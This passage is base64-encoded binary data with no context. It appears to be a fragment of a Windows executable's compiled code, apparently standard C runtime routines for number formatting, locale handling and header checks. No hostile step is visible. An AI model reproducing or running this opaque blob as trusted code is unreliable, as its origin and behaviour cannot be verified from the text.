vLuv7////oEEoAAIsHg/j+dA2LTwQDzjMMMOg+lv//i1cIi08MA84zDDLoLpb//4tF9F9eW4vlXcOLTwQDzjMMMOgXlv//i0cIi08MA84zDDDoB5b//4tN8IvWi0kI6IZJAADMVYvsi1UMoSBURAD30otNCCPQI00MC9GJFSBURABdw+gYLwAAhcB0CGoW6DYvAABZ9gUgVEQAAnQhahfovPoAAIXAdAVqB1nNKWoBaBUAAEBqA+hS4P//g8QMagPoxaj//8xVi+yLRQijJGlEAF3DzMzMzMzMzMzMzMzMzIPsDN0UJOjtoQAA6A0AAACDxAzDjVQkBOiYoQAAUpvZPCSLRCQMdFFmgTwkfwJ0BehQoQAAqQAAAIB1H9n6gz0QaUQAAA+Fw6EAALoFAAAAjQ0wVEQA6cChAACpAADwf3Usqf//DwB1JYN8JAgAdR7rzOgloQAA6yKp//8PAHXyg3wkCAB16yUAAACAdLDd2NstsOlCALgBAAAAgz0QaUQAAA+FZqEAALoFAAAAjQ0wVEQA6G+gAABaw1WL7N1FCNnu3eHf4Ff2xER6Cd3ZM//prwAAAFZmi3UOD7fGqfB/AAB1fItNDItVCPfB//8PAHUEhdJ0at7ZvwP8///f4PbEQXUFM8BA6wIzwPZFDhB1HwPJiU0MhdJ5BoPJAYlNDAPST/ZFDhB06GaLdQ6JVQi57/8AAGYj8WaJdQ6FwHQMuACAAABmC/BmiXUO3UUIagBRUd0cJOgxAAAAg8QM6yNqAFHd2FHdHCToHgAAAA+3/oPEDMHvBIHn/wcAAIHv/gMAAF6LRRCJOF9dw1WL7FFRi00Qi0UO3UUID7fAjYn+AwAAJQ+AAADB4QTdXfgLyGaJTf7dRfiL5V3DVYvsg+wMU4tdCFaL84PmH/bDCHQW9kUQAXQQagHooQUAAFmD5vfpkAEAAPbDBHQW9kUQBHQQagTohgUAAFmD5vvpdQEAAPbDAQ+EmgAAAPZFEAgPhJAAAABqCOhjBQAAi0UQWbkADAAAI8F0VD0ABAAAdDc9AAgAAHQaO8F1YotNDNnu3Bnf4N0FSFREAPbEBXtM60iLTQzZ7twZ3+D2xAV7LN0FSFREAOsyi00M2e7cGd/g9sQFeh7dBUhURADrHotNDNnu3Bnf4PbEBXoI3QU4VEQA6wjdBThURADZ4N0Zg+b+6dIAAAD2wwIPhMkAAAD2RRAQD4S/AAAAVzP/9sMQdAFHi00M3QHZ7trp3+D2xEQPi48AAADdAY1FCFBRUd0cJOjW/f//i0UIg8QMBQD6//+JRQjdVfTZ7j3O+///fQcz/97JR+tX3tkz0t/g9sRBdQFCi0X6uQP8//+D4A+DyBBmiUX6i0UIO8F9KSvIi0X09kX0AXQFhf91AUfR6PZF+AGJRfR0CA0AAACAiUX00W34SXXc3UX0hdJ0Atngi0UM3RjrAzP/R4X/X3QIahDoDAQAAFmD5v32wxB0EfZFECB0C2og6PYDAABZg+bvM8CF9l4PlMBbi+Vdw1WL7GoA/3Uc/3UY/3UU/3UQ/3UM/3UI6AUAAACDxBxdw1WL7ItFCDPJUzPbQ4lIBItFCFe/DQAAwIlICItFCIlIDItNEPbBEHQLi0UIv48AAMAJWAT2wQJ0DItFCL+TAADAg0gEAvbBAXQMi0UIv5EAAMCDSAQE9sEEdAyLRQi/jgAAwINIBAj2wQh0DItFCL+QAADAg0gEEItNCFaLdQyLBsHgBPfQM0EIg+AQMUEIi00IiwYDwPfQM0EIg+AIMUEIi00IiwbR6PfQM0EIg+AEMUEIi00IiwbB6AP30DNBCIPgAjFBCIsGi00IwegF99AzQQgjwzFBCOg/AwAAi9D2wgF0B4tNCINJDBD2wgR0B4tFCINIDAj2wgh0B4tFCINIDAT2whB0B4tFCINIDAL2wiB0BotFCAlYDIsGuQAMAAAjwXQ1PQAEAAB0Ij0ACAAAdAw7wXUpi0UIgwgD6yGLTQiLAYPg/oPIAokB6xKLTQiLAYPg/QvD6/CLRQiDIPyLBrkAAwAAI8F0ID0AAgAAdAw7wXUii0UIgyDj6xqLTQiLAYPg54PIBOsLi00IiwGD4OuDyAiJAYtFCItNFMHhBTMIgeHg/wEAMQiLRQgJWCCDfSAAdCyLRQiDYCDhi0UY2QCLRQjZWBCLRQgJWGCLRQiLXRyDYGDhi0UI2QPZWFDrOotNCItBIIPg44PIAolBIItFGN0Ai0UI3VgQi0UICVhgi00Ii10ci0Fgg+Djg8gCiUFgi0UI3QPdWFDoZgEAAI1FCFBqAWoAV/8VdKFCAItNCPZBCBB0A4Mm/vZBCAh0A4Mm+/ZBCAR0A4Mm9/ZBCAJ0A4Mm7/ZBCAF0A4Mm34sBuv/z//+D4AOD6AB0L0h0Hkh0C0h1KIEOAAwAAOsgiwYl//v//w0ACAAAiQbrEIsGJf/3//8NAAQAAOvuIRaLAcHoAoPgB4PoAHQVSHQHSHUaIRbrFosGI8INAAIAAOsJiwYjwg0AAwAAiQaDfSAAXnQH2UFQ2RvrBd1BUN0bX1tdw1WL7ItFCIP4AXQVg8D+g/gBdxjokcb//8cAIgAAAF3D6ITG///HACEAAABdw2oIaDgsRADouPb//4M9FGlEAAF8W4tFCKhAdEqDPWBVRAAAdEGDZfwAD65VCOsui0XsiwCBOAUAAMB0C4E4HQAAwHQDM8DDM8BAw4tl6IMlYFVEAACDZQi/D65VCMdF/P7////rCoPgv4lFCA+uVQjolPb//8NVi+xR3X382+IPv0X8i+Vdw1WL7FGb2X38i00Mi0UI99EjRQxmI038ZgvID7fBiUUM2W0MD79F/IvlXcNVi+xRUYtNCPbBAXQK2y1IVUQA210Im/bBCHQQm9/g2y1IVUQA3V34m5vf4PbBEHQK2y1UVUQA3V34m/bBBHQJ2e7Z6N7x3dib9sEgdAbZ691d+JuL5V3DVYvsUZvdffwPv0X8i+Vdw8zMzMzMzMzMzMyLVCQEi0wkCPfCAwAAAHVAiwI6AXUyhMB0JjphAXUphOR0HcHoEDpBAnUdhMB0ETphA3UUg8EEg8IEhOR10ov/M8DD6wPMzMwbwIPIAcOL//fCAQAAAHQYigKDwgE6AXXng8EBhMB02PfCAgAAAHSgZosCg8ICOgF1zoTAdMI6YQF1xYTkdLmDwQLrhGoMaFgsRADoCPX//2oO6FMeAABZg2X8AIt1CItGBIXAdDCLDSxpRAC6KGlEAIlN5IXJdBE5AXUsi0EEiUIEUejkmf//Wf92BOjbmf//WYNmBADHRfz+////6AoAAADo9vT//8OL0evFag7oYR8AAFnDVYvs/zUwaUQA/xUMokIAhcB0D/91CP/QWYXAdAUzwEBdwzPAXcNVi+yLRQijMGlEAF3DVYvsi1UIM8lTVkFXi8HwD8ECi3J4hfZ0BovB8A/BBouygAAAAIX2dAaLwfAPwQaLcnyF9nQGi8HwD8EGi7KIAAAAhfZ0BovB8A/BBmoGjXIcW4F++JhaRAB0DIs+hf90BovB8A/BB4N+9AB0DYt+/IX/dAaLwfAPwQeDxhBLddKLgpwAAAAFsAAAAPAPwQhBX15bXcNVi+xTVot1CDPbV4uGhAAAAIXAdGY9gF5EAHRfi0Z4hcB0WDkYdVSLhoAAAACFwHQXORh1E1DotJj///+2hAAAAOgEmQAAWVmLRnyFwHQXORh1E1Dolpj///+2hAAAAOjimQAAWVn/dnjogZj///+2hAAAAOh2mP//WVmLhogAAACFwHREORh1QIuGjAAAAC3+AAAAUOhVmP//i4aUAAAAv4AAAAArx1DoQpj//4uGmAAAACvHUOg0mP///7aIAAAA6CmY//+DxBCLhpwAAAA9oFpEAHQbOZiwAAAAdRNQ6MmZAAD/tpwAAADoAJj//1lZagZYjZ6gAAAAiUUIjX4cgX/4mFpEAHQdiweFwHQUgzgAdQ9Q6NWX////M+jOl///WVmLRQiDf/QAdBaLR/yFwHQMgzgAdQdQ6LGX//9Zi0UIg8MEg8cQSIlFCHWyVuibl///WV9eW13DVYvsi1UIhdIPhI4AAABTVoPO/1eLxvAPwQKLSniFyXQGi8bwD8EBi4qAAAAAhcl0BovG8A/BAYtKfIXJdAaLxvAPwQGLiogAAACFyXQGi8bwD8EBagaNShxbgXn4mFpEAHQMizmF/3QGi8bwD8EHg3n0AHQNi3n8hf90BovG8A/BB4PBEEt10ouKnAAAAIHBsAAAAPAPwTFOX15bi8Jdw2oMaHgsRADo1fH//4Nl5ADojQkAAIvwiw3AXEQAhU5wdCKDfmwAdBzodQkAAItwbIX2dQhqIOgCnP//WYvG6OPx///Dagzo6BoAAFmDZfwA/zUEXEQAjUZsUOghAAAAWVmL8Il15MdF/P7////oBQAAAOu8i3XkagzoHxwAAFnDVYvsV4t9DIX/dDuLRQiFwHQ0VoswO/d0KFeJOOjQ/P//WYX2dBtW6LT+//+DPgBZdQ+B/ghcRAB0B1boRv3//1mLx17rAjPAX13Dgz20nUQAAHUSav3oTgMAAFnHBbSdRAABAAAAM8DDVYvsi0UILaQDAAB0JoPoBHQag+gNdA5IdAQzwF3DoRC2QgBdw6EMtkIAXcOhCLZCAF3DoQS2QgBdw1WL7IPsEI1N8GoA6MyT//+DJUxpRAAAi0UIg/j+dRLHBUxpRAABAAAA/xUEokIA6yyD+P11EscFTGlEAAEAAAD/FTSiQgDrFYP4/HUQi0XwxwVMaUQAAQAAAItABIB9/AB0B4tN+INhcP2L5V3DVYvsU4tdCFZXaAEBAAAz/41zGFdW6NaJAACJewQzwIl7CIPEDIm7HAIAALkBAQAAjXsMq6urv3hXRAAr+4oEN4gGRkl1942LGQEAALoAAQAAigQ5iAFBSnX3X15bXcNVi+yB7CAFAAChCFREADPFiUX8U1aLdQiNhej6//9XUP92BP8VAKJCADPbvwABAACFwA+E8AAAAIvDiIQF/P7//0A7x3L0ioXu+v//jY3u+v//xoX8/v//IOsfD7ZRAQ+2wOsNO8dzDcaEBfz+//8gQDvCdu+DwQKKAYTAdd1T/3YEjYX8+v//UFeNhfz+//9QagFT6KKaAABT/3YEjYX8/f//V1BXjYX8/v//UFf/thwCAABT6Bw/AACDxECNhfz8//9T/3YEV1BXjYX8/v//UGgAAgAA/7YcAgAAU+j0PgAAg8Qki8sPt4RN/Pr//6gBdA6ATA4ZEIqEDfz9///rEKgCdBWATA4ZIIqEDfz8//+IhA4ZAQAA6weInA4ZAQAAQTvPcsHrWWqfjZYZAQAAi8tYK8KJheD6//8D0QPCiYXk+v//g8Agg/gZdwqATA4ZEI1BIOsTg73k+v//GXcOjQQOgEgZII1B4IgC6wKIGouF4Pr//42WGQEAAEE7z3K6i038X14zzVvoUIb//4vlXcPMagxomCxEAOhS7v//M/aJdeToCQYAAIv4iw3AXEQAhU9wdBw5d2x0F4t3aIX2dQhqIOiEmP//WYvG6GXu///Dag3oahcAAFmJdfyLd2iJdeQ7NZxZRAB0NIX2dBiDyP/wD8EGdQ+B/nhXRAB0B1bo/5L//1mhnFlEAIlHaIs1nFlEAIl15DPAQPAPwQbHRfz+////6AUAAADrkYt15GoN6HYYAABZw2oQaLgsRADorO3//4PP/+hlBQAAi9iJXeDoPP///4tzaP91COjR/P//WYlFCDtGBA+EaAEAAGggAgAA6JDs//9Zi9iF2w+EVQEAALmIAAAAi0Xgi3Boi/vzpTP2iTNT/3UI6EEBAABZWYv4iX0Ihf8PhQcBAACLReCLSGiDyv/wD8ERdRWLSGiB+XhXRAB0ClHoNpL//1mLReCJWGgzwEDwD8EDi0Xg9kBwAg+F7wAAAPYFwFxEAAEPheIAAABqDehFFgAAWYl1/ItDBKM0aUQAi0MIozhpRACLgxwCAACjSGlEAIvOiU3kg/kFfRBmi0RLDGaJBE08aUQAQevoi86JTeSB+QEBAAB9DYpEGRiIgXBVRABB6+iJdeSB/gABAAB9EIqEHhkBAACIhnhWRABG6+WhnFlEAIPJ//APwQh1E6GcWUQAPXhXRAB0B1DoeZH//1mJHZxZRAAzwEDwD8EDx0X8/v///+gFAAAA6zGLfQhqDej7FgAAWcPrI4P//3Uegft4V0QAdAdT6DyR//9Z6Nq7///HABYAAADrAjP/i8foVuz//8NVi+yD7CChCFREADPFiUX8U1b/dQiLdQzoNfv//4vYWYXbdQ5W6Jb7//9ZM8DpqQEAAFcz/4vPi8eJTeQ5mKBZRAAPhOgAAABBg8AwiU3kPfAAAABy5oH76P0AAA+ExgAAAIH76f0AAA+EugAAAA+3w1D/FdChQgCFwA+EqAAAAI1F6FBT/xUAokIAhcAPhIIAAABoAQEAAI1GGFdQ6A6FAACJXgSDxAwz24m+HAIAAEM5Xeh2T4B97gCNRe50IYpIAYTJdBoPttEPtgjrBoBMDhkEQTvKdvaDwAKAOAB1341GGrn+AAAAgAgIQEl1+f92BOgh+v//g8QEiYYcAgAAiV4I6wOJfggzwI1+DKurq+m8AAAAOT1MaUQAdAtW6J36///prwAAAIPI/+mqAAAAaAEBAACNRhhXUOhxhAAAg8QMa0XkMIlF4I2AsFlEAIlF5IA4AIvIdDWKQQGEwHQrD7YRD7bA6xeB+gABAABzE4qHmFlEAAhEFhlCD7ZBATvQduWDwQKAOQB1zotF5EeDwAiJReSD/wRyuFOJXgTHRggBAAAA6G75//+DxASJhhwCAACLReCNTgxqBo2QpFlEAF9miwKNUgJmiQGNSQJPdfFW6Ej6//9ZM8Bfi038XjPNW+gWgv//i+Vdw1WL7Lj//wAAg+wUZjlFCA+EmAAAAFb/dQyNTezoIo3//4t17IuGqAAAAIXAdRWLTQiNQb9mg/gZdwRmg8EgD7fB6x66AAEAAGoBZjlVCHMo/3UI6HY7AABZhcCLRQhZdQgPt8APt8DrKg+3yIuGlAAAAA+2BAjrG41N/FFqAY1NCFFSUOgWOwAAg8QYhcB1C4tFCA+3wA+3wOsED7dF/IB9+ABedAeLTfSDYXD9i+Vdw2oIaNgsRADoaOn//4t1CIX2D4T+AAAAg34kAHQJ/3Yk6GOO//9Zg34sAHQJ/3Ys6FSO//9Zg340AHQJ/3Y06EWO//9Zg348AHQJ/3Y86DaO//9Zg35AAHQJ/3ZA6CeO//9Zg35EAHQJ/3ZE6BiO//9Zg35IAHQJ/3ZI6AmO//9ZgX5cCMhCAHQJ/3Zc6PeN//9Zag3oLRIAAFmDZfwAi05ohcl0GIPI//APwQF1D4H5eFdEAHQHUejMjf//WcdF/P7////oVwAAAGoM6PYRAABZx0X8AQAAAIt+bIX/dCNX6A72//9ZOz0EXEQAdBSB/whcRAB0DIM/AHUHV+iY9P//WcdF/P7////oHgAAAFbodI3//1non+j//8IEAIt1CGoN6AkTAABZw4t1CGoM6P0SAABZw1boEgAAAIvwhfZ1CGoQ6IiS//9Zi8Zew1ZX/xW4oEIA/zWQWkQAi/joyxMAAIvwWYX2dUdovAMAAGoB6M/m//+L8FlZhfZ0M1b/NZBaRADowxMAAFlZhcB0GGoAVuglAAAAWVn/FfyhQgCDTgT/iQbrCVbo24z//1kz9lf/FbygQgBfi8Zew2oIaAAtRADorOf//4t1CMdGXAjIQgCDZggAM/9HiX4UiX5wakNYZomGuAAAAGaJhr4BAADHRmh4V0QAg6a4AwAAAGoN6MEQAABZg2X8AItGaIvP8A/BCMdF/P7////oPgAAAGoM6KAQAABZiX38i0UMiUZshcB1CKEEXEQAiUZs/3Zs6MDy//9Zx0X8/v///+gVAAAA6GPn///DM/9Hi3UIag3ozBEAAFnDagzowxEAAFnD6C6S///ofhEAAIXAdQjoYwAAADPAw2hstEEA6GESAACjkFpEAFmD+P9041ZovAMAAGoB6J3l//+L8FlZhfZ0LVb/NZBaRADokRIAAFlZhcB0G2oAVujz/v//WVn/FfyhQgCDTgT/iQYzwEBew+gEAAAAM8Bew6GQWkQAg/j/dA5Q6BkSAACDDZBaRAD/Wen4DwAAaghoKC1EAOhm5v//vghcRAA5NQRcRAB0KmoM6KQPAABZg2X8AFZoBFxEAOjh9P//WVmjBFxEAMdF/P7////oBgAAAOhv5v//w2oM6N4QAABZw/8V+KFCADPJo1RpRACFwA+VwYvBw1WL7IN9CAB0JlaLdQz3RgwAEAAAdBhW6MCV//+BZgz/7v//M8BZiUYYiQaJRgheXcNVi+xWi3UIVuhIl///UOj3fwAAWVmFwA+EhgAAAFfoEZT//4PAIDvwdQQz/+sP6AGU//+DwEA78HVmM/9H/wXgZUQA90YMDAEAAHVUgzy9WGlEAABTuwAQAAB1JVPokOT//4kEvVhpRABZhcB1E41GFGoCiUYIiQZYiUYYiUYE6xKLDL1YaUQAiU4IiQ6JXhiJXgSBTgwCEQAAM8BAW+sCM8BfXl3DagPopmQAAFmD+AF0FWoD6JlkAABZhcB1H4M9YGlEAAF1Fmj8AAAA6DEAAABo/wAAAOgnAAAAWVnDVYvsi00IM8A7DMUgukIAdApAg/gXcvEzwF3DiwTFJLpCAF3DVYvsgez8AQAAoQhURAAzxYlF/FaLdQhXVui+////i/hZhf8PhHkBAABTagPoH2QAAFmD+AEPhA8BAABqA+gOZAAAWYXAdQ2DPWBpRAABD4T2AAAAgf78AAAAD4RBAQAAaMDDQgBoFAMAAGhoaUQA6N2g//+DxAwz24XAD4UxAQAAaAQBAABommlEAFNmo6JrRAD/FZShQgC++wIAAIXAdRto9MNCAFZommlEAOigoP//g8QMhcAPhfYAAABommlEAOgQNgAAQFmD+Dx2NWiaaUQA6P81AABqA2gkxEIAjQxFJGlEAIvBLZppRADR+CvwVlHocqj//4PEFIXAD4WwAAAAaCzEQgBoFAMAAL5oaUQAVujOn///g8QMhcAPhZAAAABXaBQDAABW6Lef//+DxAyFwHV9aBAgAQBoOMRCAFboHI8AAIPEDOtXavT/FaihQgCL8IX2dEmD/v90RDPbi8uKBE+IhA0I/v//ZjkcT3QJQYH59AEAAHLnU42FBP7//4hd+1CNhQj+//9Q6La9//9ZUI2FCP7//1BW/xX0oUIAW4tN/F8zzV7oFnv//4vlXcNTU1NTU+glx///zFWL7IHsgAIAAKEIVEQAM8WJRfyLRQiNjZD9//9TVomF0P3//4tFDFf/dRCLfRSJhfD9//8zwIvYib3k/f//iYWs/f//i/CJnej9//+JhcD9//+Jhdj9//+Jhcz9//+JhaT9//+JhbT9//+Jhcj9///ow4X//+hYsv//iYWo/f//i4XQ/f//hcAPhL0KAAD2QAxAdWNQ6PuT//9Zi8iD+f90GYP5/nQUi9HB+AWD4h/B4gYDFIUIcUQA6wW6MF5EAPZCJH8PhYEKAACD+f90GYP5/nQUi8GD4R/B+AXB4QYDDIUIcUQA6wW5MF5EAPZBJIAPhVQKAACLlfD9//+F0g+ERgoAAIoSM8CJhdz9//+LyImN4P3//4mFvP3//4mFsP3//4iV7/3//4iVuP3//4TSD4TuCQAAi4Xw/f//QImF8P3//4XJD4jZCQAAjULgPFh3Dw++wg++gIDEQgCD4A/rAjPAi728/f//D768x6DEQgCLx4m9vP3//4u95P3//8H4BImFvP3//4P4Bw+HdwkAAP8khSbGQQAzwION2P3///+L2ImFpP3//4mFtP3//4mFwP3//4mFzP3//4md6P3//4mFyP3//+k8CQAAD77Cg+ggdEaD6AN0OYPoCHQvSEh0HYPoA4uF8P3//w+FHQkAAIPLCImd6P3//+kPCQAAg8sEiZ3o/f//6fsIAACDywHr8IHLgAAAAOvog8sC6+OA+ip1L4sHg8cEib3k/f//iYXA/f//hcAPicsIAACDywT32Imd6P3//4mFwP3//+m1CAAAa43A/f//Cg++woPB0APBiYXA/f//6ZUIAAAzwImF2P3//+mOCAAAgPoqdSuLB4PHBImF2P3//4XAi4Xw/f//ib3k/f//D4lwCAAAg43Y/f///+lkCAAAa43Y/f//Cg++woPB0APBiYXY/f//6T4IAACA+kl0RYD6aHQ4i4Xw/f//gPpsdBSA+ncPhSwIAACBywAIAADpB////4A4bHUMQIHLABAAAOn2/v//g8sQ6e7+//+DyyDp9P7//4uF8P3//4oAPDZ1HIu98P3//4B/ATR1EIvHg8ACgcsAgAAA6b7+//88M3Uci73w/f//gH8BMnUQi8eDwAKB4/9////pnv7//zxkD4SqBwAAPGkPhKIHAAA8bw+EmgcAADx1D4SSBwAAPHgPhIoHAAA8WA+EggcAADPAiYW8/f//6wIzwImFyP3//42FkP3//1APtsJQ6D6p//9ZWYXAdDiNheD9//9Q/7XQ/f///7W4/f//6LkHAACLjfD9//+DxAyKAUGIhbj9//+JjfD9//+EwA+EZAcAAI2F4P3//1D/tdD9////tbj9///ogQcAAIPEDOn8BgAAD77Cg/hkD4/NAQAAD4RRAgAAg/hTD4/tAAAAdHyD6EF0EEhIdFZISHQISEgPhRgFAACAwiDHhaT9//8BAAAAiJXv/f//i4XY/f//jbX0/f//g8tAuQACAACJnej9//+JjcT9//+FwA+JMgIAAMeF2P3//wYAAADpgAIAAPfDMAgAAA+FngAAAIHLAAgAAImd6P3//+mNAAAA98MwCAAAdQyBywAIAACJnej9//+Lldj9//+5////f4P6/3QCi8qLN4PHBIm95P3///fDEAgAAA+EUwQAAIX2dQaLNcxcRADHhcj9//8BAAAAi8aFyXQPM9JJZjkQdAeDwAKFyXXzK8bR+Ok8BAAAg+hYD4SwAgAASEh0cIPoBw+EJ////0hID4UkBAAAg8cEib3k/f//98MQCAAAdDAPt0f8UGgAAgAAjYX0/f//UI2F3P3//1DoU4wAAIPEEIXAdB/HhbT9//8BAAAA6xOKR/yIhfT9///Hhdz9//8BAAAAjbX0/f//6cUDAACLB4PHBIm95P3//4XAdDOLcASF9nQsD78A98MACAAAdBSZK8LHhcj9//8BAAAA0fjpigMAADPJiY3I/f//6X0DAACLNchcRABW6LC3//9Z6WsDAACD+HAPj+MBAAAPhM8BAACD+GUPjFkDAACD+GcPjkv+//+D+Gl0ZIP4bnQlg/hvD4U9AwAAx4Xc/f//CAAAAITbeVuBywACAACJnej9///rTYPHBIm95P3//4t//Og7hP//hcAPhAIFAACLheD9///2wyB0BWaJB+sCiQfHhbT9//8BAAAA6XoEAACDy0CJnej9///Hhdz9//8KAAAA98MAgAAAdQz3wwAQAAAPhI4BAACLD4PHCIm95P3//zP2i3/86a4BAAB1EYD6Z3VWx4XY/f//AQAAAOtKO8F+CIvBiYXY/f//PaMAAAB+N424XQEAAFfoWtv//4qV7/3//4mFsP3//1mFwHQKi/CJvcT9///rCseF2P3//6MAAACLveT9//+LB4PHCImFiP3//4m95P3//4tH/ImFjP3//42FkP3//1D/taT9//8PvsL/tdj9//9Q/7XE/f//jYWI/f//VlD/NRxeRAD/FQyiQgD/0Iv7g8QcgeeAAAAAdCGDvdj9//8AdRiNhZD9//9QVv81KF5EAP8VDKJCAP/QWVmAve/9//9ndRyF/3UYjYWQ/f//UFb/NSReRAD/FQyiQgD/0FlZgD4tD4Uo/v//gcsAAQAARomd6P3//+kW/v//x4XY/f//CAAAAGoH6xyD6HMPhN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